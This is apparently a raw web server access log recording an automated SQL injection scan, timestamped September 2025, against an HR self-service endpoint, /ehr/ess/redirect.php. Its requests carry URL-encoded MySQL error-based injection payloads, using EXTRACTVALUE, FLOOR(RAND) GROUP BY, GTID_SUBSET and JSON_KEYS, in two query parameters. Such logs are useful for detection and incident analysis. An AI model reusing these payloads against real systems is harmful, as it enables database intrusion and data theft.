100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x33314e4c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7866366e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x33314e4c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7866366e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x6c584a43%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59366a35%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x6c584a43%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59366a35%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4f6e4b31%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x564f5a68%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4f6e4b31%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x564f5a68%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x75516847%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50614956%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x75516847%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50614956%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4f666971%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6170614c%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4f666971%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6170614c%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x56673973%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x776a464f%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x56673973%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x776a464f%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x56446456%2C%28NULL%29%2C0x714f5441%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x56446456%2C%28NULL%29%2C0x714f5441%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x38576870%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x754b6c6f%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x38576870%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x754b6c6f%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x71774175%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7437674c%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x71774175%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7437674c%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x79654e49%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78534365%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x79654e49%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78534365%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x7a316f68%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57747345%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x7a316f68%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57747345%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x51473674%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63503039%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x51473674%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63503039%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x65684749%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d445552%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x65684749%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d445552%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x36666247%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5636436d%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x36666247%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5636436d%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x5a75416d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75653033%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x5a75416d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75653033%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x33734478%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5632504d%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x33734478%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5632504d%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x75397338%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x305a7646%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x75397338%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x305a7646%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x5a49306b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3944536a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x5a49306b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3944536a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7a717771%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34476454%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
